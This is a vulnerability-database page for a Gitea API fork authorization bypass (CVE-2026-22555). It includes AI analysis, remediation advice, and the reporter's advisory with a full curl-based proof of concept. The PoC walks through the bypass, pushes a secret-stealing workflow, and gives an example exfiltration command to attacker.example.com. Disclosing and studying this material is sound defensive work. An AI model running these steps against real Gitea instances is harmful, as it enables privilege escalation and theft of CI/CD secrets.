Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate as read-only org member
-
DeliveryPOST to /api/v1/repos/{owner}/{repo}/forks with org target
-
ExploitReceive admin-owned fork in org namespace
-
ExecutionEnable Actions and push malicious workflow
-
PersistOrg runner injects org secrets into job
-
ImpactExfiltrate secrets to attacker endpoint
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization logic validation
MITRE ATT&CK
1 technique across 1 tactic: Privilege Escalation The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires an authenticated Gitea account that is a member of the target organization (any team, including read-only with can_create_org_repo=false) and has at least read access to one repository owned by that organization to use as a fork source. The Gitea instance must have Actions enabled (GITEA__actions__ENABLED=true) with at least one registered runner attached to the organization for secret exfiltration to succeed, and the organization must define org-level Actions secrets that are valuable to the attacker. The attack uses only the documented REST API (POST /api/v1/repos/{owner}/{repo}/forks plus PATCH and contents endpoints) over the network, no user interaction, and works against default configurations of affected versions; the web UI path is not vulnerable. Limiting factor: a completely external unauthenticated attacker cannot exploit this - org membership is required. |
| Impact | The reporter's CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N (8.1) is consistent with the PoC: any authenticated org member with at least read access to one org repo can mount the attack over the network without user interaction. EPSS and CISA KEV status are not provided in the input, so prevalence of exploitation is unknown; however, a complete working PoC with curl commands is published in the GHSA advisory, materially raising real-world risk. Confidentiality and integrity impact are HIGH because org-level secrets (cloud IAM keys, deploy keys, registry tokens) typically grant lateral movement well beyond Gitea itself, and the attacker can also push code under the org's trusted namespace, creating supply-chain risk. Despite the 'RCE' tag in the input, the bug itself is an authorization bypass leading to secret exfiltration and arbitrary workflow execution on org-controlled runners - not unauthenticated RCE on the Gitea server. |
| Exploit ScenarioDerived | An auditor or contractor with read-only access to one repository in a Gitea organization issues an authenticated POST to /api/v1/repos/{owner}/{repo}/forks with organization=target-org, receiving an admin-owned fork inside the org namespace. They enable Actions on the fork and push a .gitea/workflows/steal.yml that references the org's DEPLOY_KEY and AWS credentials; the org's runner picks the job up because it matches on owner_id, executes the workflow with secrets injected, and exfiltrates them to an attacker-controlled endpoint. A complete copy-paste PoC, including a docker-compose lab, is published in the GHSA advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 18, 2026
Authorization bypass in Gitea versions prior to 1.26.0 lets a read-only organization member create repositories in the organization namespace via the API fork endpoint, despite a team configuration that denies repository creation (can_create_org_repo=false). Because the fork creator receives admin rights on the resulting repo, the attacker can enable Actions and push a workflow that exfiltrates all organization-level CI/CD secrets (deploy keys, cloud credentials, API tokens). Publicly available exploit code exists in the GHSA advisory with a full step-by-step PoC; no public exploit identified at time of analysis beyond the reporter's reproduction.
RemediationAI
Vendor-released patch: upgrade Gitea to 1.26.0 or later, per GHSA-fhx7-m96w-mv29 (https://github.com/go-gitea/gitea/security/advisories/GHSA-fhx7-m96w-mv29). If immediate upgrade is not possible, reduce blast radius by disabling Gitea Actions globally (set actions.ENABLED=false in app.ini) which prevents secret injection at the cost of losing all CI/CD; alternatively, remove all organization-level Actions secrets and migrate them to per-repository secrets owned by repos that read-only members cannot fork into, accepting operational churn and duplication. As a narrower compensating control, audit and remove read-only/contractor accounts from organizations that hold sensitive org secrets, and restrict org membership so untrusted users cannot reach the fork API endpoint; this does not fix the bypass but eliminates the attacker prerequisite. Monitor audit logs for unexpected POST /api/v1/repos/{owner}/{repo}/forks calls and for new workflow files (.gitea/workflows/*) appearing in org repos until the patch is applied.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Gitea is a self-hosted Git service written in Go (pkg:go/code.gitea.io_gitea). The flaw is a classic CWE-863 incorrect authorization: the API fork handler at routers/api/v1/repo/fork.go only invokes IsOrgMember() when the fork target is an organization, while the equivalent web UI handler at routers/web/repo/fork.go additionally calls CanCreateOrgRepo(). This inconsistent enforcement between API and web surfaces creates a broken function-level authorization (OWASP API5:2023). Downstream, services/repository/create.go grants admin permissions to the fork creator, and the Actions subsystem in models/actions/task.go and models/secret/secret.go binds runner job assignment and org-secret injection to repo.OwnerID - so any org-owned repo, including the smuggled fork, sees the org's secrets.
Know when Gitea gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Network API call by any authenticated org member (PR:L), no user interaction, yields org-secret disclosure and code push under org namespace (C:H/I:H), no availability impact.
Primary rating from Vendor (https://github.com/go-gitea/gitea).
CVSS VectorVendor: https://github.com/go-gitea/gitea
DescriptionCVE.org
Summary
The API endpoint POST /api/v1/repos/{owner}/{repo}/forks only checks IsOrgMember() when a user forks a repository into an organization, but does not check CanCreateOrgRepo(). The web UI fork handler correctly checks both. This allows a read-only organization member - in a team with can_create_org_repo=false - to create repositories in the organization namespace via the API. The attacker receives full admin permissions on the forked repository, can enable Actions, push arbitrary workflow files, and exfiltrate all organization-level CI/CD secrets (deploy keys, cloud credentials, API tokens) through the runner infrastructure.
Steps To Reproduce
1. Environment setup
Start a Gitea instance with Actions enabled:
# docker-compose.yml
cat > docker-compose.yml << 'EOF'
version: '3'
services:
gitea:
image: gitea/gitea:1.23
container_name: gitea-poc
ports:
- "3000:3000"
volumes:
- gitea-data:/data
environment:
- GITEA__database__DB_TYPE=sqlite3
- GITEA__server__ROOT_URL=http://localhost:3000/
- GITEA__security__INSTALL_LOCK=true
- GITEA__actions__ENABLED=true
volumes:
gitea-data:
EOF
docker compose up -d
# Wait for startup
sleep 15
# Create admin user
docker exec -u git gitea-poc gitea admin user create \
--admin --username admin --password 'Admin1234!' \
--email admin@example.com --must-change-password=false2. Create the target environment (as admin)
# Get admin token
ADMIN_TOKEN=$(curl -s -X POST "http://localhost:3000/api/v1/users/admin/tokens" \
-u "admin:Admin1234!" -H "Content-Type: application/json" \
-d '{"name": "setup", "scopes": ["all"]}' | python3 -c "import sys,json; print(json.load(sys.stdin)['sha1'])")
# Create attacker user
curl -s -X POST "http://localhost:3000/api/v1/admin/users" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"username":"attacker","password":"Attacker123!","email":"attacker@example.com","must_change_password":false}'
# Create organization
curl -s -X POST "http://localhost:3000/api/v1/orgs" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"username":"target-org","visibility":"public"}'
# Create a source repository in the org
curl -s -X POST "http://localhost:3000/api/v1/orgs/target-org/repos" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"name":"source-repo","auto_init":true}'
# Create a read-only team with can_create_org_repo=false
TEAM_ID=$(curl -s -X POST "http://localhost:3000/api/v1/orgs/target-org/teams" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"name":"readonly-team","permission":"read","can_create_org_repo":false,"units":["repo.code","repo.issues"]}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")
# Add attacker to the read-only team
curl -s -X PUT "http://localhost:3000/api/v1/teams/$TEAM_ID/members/attacker" \
-H "Authorization: token $ADMIN_TOKEN"
# Add source-repo to the team so attacker can read it
curl -s -X PUT "http://localhost:3000/api/v1/teams/$TEAM_ID/repos/target-org/source-repo" \
-H "Authorization: token $ADMIN_TOKEN"
# Create organization secrets (simulating real CI/CD credentials)
curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/DEPLOY_KEY" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"data":"sk-live-test-deploy-key-1234567890abcd"}'
curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/AWS_ACCESS_KEY" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"data":"AKIAIOSFODNN7EXAMPLE"}'
curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/AWS_SECRET_KEY" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"data":"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"}'3. Register an Actions runner
# Get runner registration token
REG_TOKEN=$(docker exec -u git gitea-poc gitea actions generate-runner-token)
# Start act_runner (adjust network name if needed)
NETWORK=$(docker inspect gitea-poc --format '{{range $key, $val := .NetworkSettings.Networks}}{{$key}}{{end}}')
docker run -d --name act-runner --network "$NETWORK" \
-e GITEA_INSTANCE_URL=http://gitea-poc:3000 \
-e GITEA_RUNNER_REGISTRATION_TOKEN="$REG_TOKEN" \
-e GITEA_RUNNER_LABELS=ubuntu-latest:docker://node:20-bookworm \
-v /var/run/docker.sock:/var/run/docker.sock \
gitea/act_runner:latest
# Wait for runner registration
sleep 154. Verify attacker CANNOT create repos in the org (expected: 403)
# Get attacker token
ATTACKER_TOKEN=$(curl -s -X POST "http://localhost:3000/api/v1/users/attacker/tokens" \
-u "attacker:Attacker123!" -H "Content-Type: application/json" \
-d '{"name": "poc", "scopes": ["all"]}' | python3 -c "import sys,json; print(json.load(sys.stdin)['sha1'])")
# Try creating a repo directly - should fail
curl -s -o /dev/null -w "Direct repo creation: HTTP %{http_code}\n" \
-X POST "http://localhost:3000/api/v1/orgs/target-org/repos" \
-H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
-d '{"name":"should-fail","auto_init":true}'
# Expected output: Direct repo creation: HTTP 403
# Verify attacker cannot access org secrets via API
curl -s -o /dev/null -w "Access org secrets: HTTP %{http_code}\n" \
"http://localhost:3000/api/v1/orgs/target-org/actions/secrets" \
-H "Authorization: token $ATTACKER_TOKEN"
# Expected output: Access org secrets: HTTP 4035. Exploit: Fork into the org via API (THE BYPASS)
# Fork the source repo into the org - this should also fail but doesn't
FORK_RESULT=$(curl -s -X POST \
"http://localhost:3000/api/v1/repos/target-org/source-repo/forks" \
-H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
-d '{"organization":"target-org","name":"evil-fork"}')
echo "$FORK_RESULT" | python3 -c "
import sys,json
d = json.load(sys.stdin)
print(f'Fork created: {d[\"full_name\"]}')
print(f'Permissions: admin={d[\"permissions\"][\"admin\"]}, push={d[\"permissions\"][\"push\"]}')
"
# Expected output:
# Fork created: target-org/evil-fork
# Permissions: admin=True, push=TrueThe attacker now has admin+push access to an org-owned repository, despite being in a team with can_create_org_repo=false.
6. Enable Actions and push exfiltration workflow
# Enable Actions on the fork
curl -s -X PATCH "http://localhost:3000/api/v1/repos/target-org/evil-fork" \
-H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
-d '{"has_actions":true}'
# Push a workflow that references org secrets
WORKFLOW=$(cat << 'WFEOF'
name: exfiltrate
on: [push]
jobs:
steal:
runs-on: ubuntu-latest
steps:
- name: Leak org secrets
env:
DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}
AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }}
AWS_SECRET_KEY: ${{ secrets.AWS_SECRET_KEY }}
run: |
echo "=== SECRET EXFILTRATION ==="
echo "DEPLOY_KEY length: ${#DEPLOY_KEY}"
echo "AWS_ACCESS_KEY length: ${#AWS_ACCESS_KEY}"
echo "AWS_SECRET_KEY length: ${#AWS_SECRET_KEY}"
echo "DEPLOY_KEY prefix: ${DEPLOY_KEY:0:4}..."
echo "AWS_ACCESS_KEY prefix: ${AWS_ACCESS_KEY:0:4}..."
echo "AWS_SECRET_KEY prefix: ${AWS_SECRET_KEY:0:4}..."
echo "=== END EXFILTRATION ==="
WFEOF
)
curl -s -X POST \
"http://localhost:3000/api/v1/repos/target-org/evil-fork/contents/.gitea/workflows/steal.yml" \
-H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
-d "{\"content\":\"$(echo -n "$WORKFLOW" | base64 -w0)\",\"message\":\"add CI\"}"7. Verify secret exfiltration
# Wait for the runner to execute the workflow (60-120 seconds)
sleep 90
# Check the Actions run page in browser or via API:
echo "View results at: http://localhost:3000/target-org/evil-fork/actions"Expected output in the workflow logs:
=== SECRET EXFILTRATION ===
DEPLOY_KEY length: 37
AWS_ACCESS_KEY length: 20
AWS_SECRET_KEY length: 40
DEPLOY_KEY prefix: sk-l...
AWS_ACCESS_KEY prefix: AKIA...
AWS_SECRET_KEY prefix: wJal...
=== END EXFILTRATION ===All three organization-level secrets are accessible to the attacker's workflow. In a real attack, the workflow would exfiltrate secrets to an attacker-controlled endpoint (e.g., curl -d "$SECRET" https://attacker.example.com/collect).
Impact
A read-only organization member - with no repository creation rights (can_create_org_repo=false) - can exfiltrate all organization-level CI/CD secrets by exploiting a missing authorization check in the API fork endpoint. The web UI correctly enforces the CanCreateOrgRepo permission, but the API does not, creating a classic API-vs-web authorization inconsistency.
The attack chain is: (1) fork an existing org repo back into the same org via the API, bypassing the CanCreateOrgRepo check; (2) receive admin permissions on the fork as its creator; (3) enable Actions and push a workflow that references org secrets; (4) the org's runner picks up the job (runners match on repository.owner_id), and org secrets are injected into the workflow environment (fetched by Repo.OwnerID); (5) the workflow exfiltrates all org secrets.
Organization secrets commonly include deploy keys, cloud credentials (AWS IAM keys, GCP service accounts), container registry tokens, and personal access tokens with broad scope. Stolen credentials enable lateral movement to cloud infrastructure, private repositories, and external services far beyond the Gitea instance itself. The attacker can also push arbitrary code under the organization's trusted namespace, creating supply chain risk for downstream consumers.
This is particularly dangerous because organizations commonly use read-only teams for auditors, reviewers, contractors, or new employees - precisely the users who should NOT have access to production secrets.
Supporting Material/References
- poc-fork-authz-bypass.zip - ZIP archive containing the full exploit script and README
- Vulnerable code - API fork handler (missing
CanCreateOrgRepocheck):
https://github.com/go-gitea/gitea/blob/79f96b3e24/routers/api/v1/repo/fork.go#L135-L144
- Correct code - Web fork handler (has
CanCreateOrgRepocheck):
https://github.com/go-gitea/gitea/blob/79f96b3e24/routers/web/repo/fork.go#L181-L189
- Runner task assignment (matches on
owner_id):
https://github.com/go-gitea/gitea/blob/79f96b3e24/models/actions/task.go#L245-L248
- Secret injection (fetches by
Repo.OwnerID):
https://github.com/go-gitea/gitea/blob/79f96b3e24/models/secret/secret.go#L167
- Fork creator gets admin permissions:
https://github.com/go-gitea/gitea/blob/79f96b3e24/services/repository/create.go#L433-L440
- Related fix: PR #34031 fixed a similar bypass via repo transfers, confirming this class of authorization inconsistency is treated as a vulnerability
- OWASP API Security Top 10 2023: API5 - Broken Function Level Authorization
- OWASP Top 10 2021: A01 - Broken Access Control
Articles & Coverage 1
Executive ViewAI
Gitea prior to 1.26.0 is vulnerable to an authorization bypass (CVE-2026-22555, CVSS 8.1) allowing read-only team members to escalate privileges, create repositories, and steal organization secrets including cloud credentials and API tokens; publicly available exploit code exists, creating significant risk to integrated cloud infrastructure and third-party services.
Restrict fork API endpoint access via firewall or reverse proxy WAF rules; disable Actions feature or restrict to trusted users with approval requirement; implement enhanced logging and alerting on repository creation and fork activities; require additional authentication for sensitive API endpoints; execute immediate rotation of all organization secrets and credentials; maintain network isolation between Gitea and sensitive infrastructure.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi
Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r
Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp
The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea
Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us
Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any
Path traversal in Gitea's Org-mode (`.org`) markup renderer allows an attacker who can get Org-mode content rendered by
Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec
models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem
Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica
Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran
Same weakness CWE-863 – Incorrect Authorization
View allSame technique Authentication Bypass
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
EUVD-2026-41617
GHSA-fhx7-m96w-mv29
NVD
CVE.org
EPSS
Exploit-DB